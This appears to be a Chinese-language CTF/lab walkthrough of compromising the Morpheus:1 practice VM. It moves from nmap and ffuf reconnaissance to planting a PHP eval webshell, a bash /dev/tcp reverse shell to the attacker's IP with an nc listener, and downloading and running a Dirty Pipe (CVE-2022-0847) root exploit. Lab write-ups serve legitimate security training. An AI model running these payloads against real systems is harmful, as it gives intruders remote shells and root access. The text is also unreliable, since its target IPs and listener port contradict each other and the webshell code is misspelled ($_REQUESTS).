一、靶机地址
参照引用文章的公众号,后台回复:靶机二,获取靶机地址。
二、靶机渗透,准备一台kali虚拟机,当攻击机。
1、打开靶场,显示登陆界面。
2、看到这个界面,不知道账号和密码,先外网打点。使用kali中的端口扫描工具:nmap 判断这个靶场地址的ip地址。
1),查看kali本机IP,确定扫描目标网段
ifconfig举例:如果查到的 IP 是192.168.213.135,子网掩码为255.255.255.0(即/24),那么你的 Kali 所在网段就是192.168.213.0/24
2),使用 Nmap 扫描网段内所有存活主机
sudo nmap -sn 192.168.213.0/243)从结果中识别靶机 IP
Starting Nmap 7.93 ( https://nmap.org ) at 2026-07-30 20:46 EDT
Nmap scan report for 192.168.213.1
Host is up (0.00016s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.213.2
Host is up (0.00026s latency).
MAC Address: 00:50:56:FE:A3:35 (VMware)
Nmap scan report for 192.168.213.142 # 这很可能就是靶机
Host is up (0.16s latency).
MAC Address: 00:0C:29:DA:89:F1 (VMware)
Nmap scan report for 192.168.213.254
Host is up (0.00025s latency).
MAC Address: 00:50:56:EE:57:92 (VMware)
Nmap scan report for 192.168.213.137 # 这是你的 Kali IP
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 18.26 seconds
3、发现存在80端口,通过ip去访问web界面
sudo nmap -p- --min-rate 10000 -T4 192.168.213.142Starting Nmap 7.93 ( https://nmap.org ) at 2026-07-30 21:34 EDT
Warning: 192.168.24.142 giving up on port because retransmission cap hit (6).
Nmap scan report for 192.168.24.142
Host is up (0.020s latency).
Not shown: 58696 closed tcp ports (reset), 6836 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
81/tcp open hosts2-ns
MAC Address: 00:0C:29:DA:89:F1 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 34.58 seconds
4、查看一下端口详细信息
nmap -A -T4 -p- 192.168.24.142Starting Nmap 7.93 ( https://nmap.org ) at 2026-07-30 21:36 EDT
Nmap scan report for 192.168.24.142
Host is up (0.00098s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|_ 256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Morpheus:1
|_http-server-header: Apache/2.4.51 (Debian)
81/tcp open http nginx 1.18.0
|_http-title: 401 Authorization Required
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Meeting Place
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.91 seconds
5、没发现什么其他了。现在对它进行目录扫描,看看有没有什么特殊的东西。
ffuf -u http://192.168.24.142/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.html,.txt,.bak,.old,.env -t 80以下文件琢磨下
robots.txt,graffiti.txt,graffiti.php
6、可以输入,尝试尝试。发现了这个,我们去看看txt文件。发现我的输入都被保存在txt文件中了。
7、抓个包,看是否可以传马子
8、有希望。有内容,有地址。准备反弹shell
<?php eval(@$_REQUESTS['password']);?>9、放包,去访问1.php文件。
10、发现白屏,八成是上传成功了。我们用webshell连接工具去看看
11、成功getshell。
我们现在继续利用这个漏洞去反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.211.130/6666 0>&1'"); ?>注意 需要url编码,然后上传。
12、成功后,注意开启kali的监听。
nc -lvvp 666613、访问2.php文件,成功反弹shell。
14、进行suid提权,但是没有什么文件可以利用
find / -perm -u=s -type f 2>/dev/null想想别的办法。先看看它的系统版本吧。
uname -a系统是Linux4.x|5.x看看有没有漏洞能利用,查查资料,直接发现有漏洞能直接用CVE -2022-0847。
在kali上下载
git clone https://github.com/imfiver/CVE-2022-0847.git自动下载到这个位置
进入CVE-2022-0847 文件夹
cd CVE-2022-0847在 Kali 上启动 HTTP 服务(指向脚本所在目录)
python3 -m http.server 9090在靶机上下载脚本
wget http://192.168.24.137:9090/Dirty-Pipe.sh -O /tmp/Dirty-Pipe.sh在靶机上赋权并执行
chmod +x /tmp/Dirty-Pipe.shbash /tmp/Dirty-Pipe.sh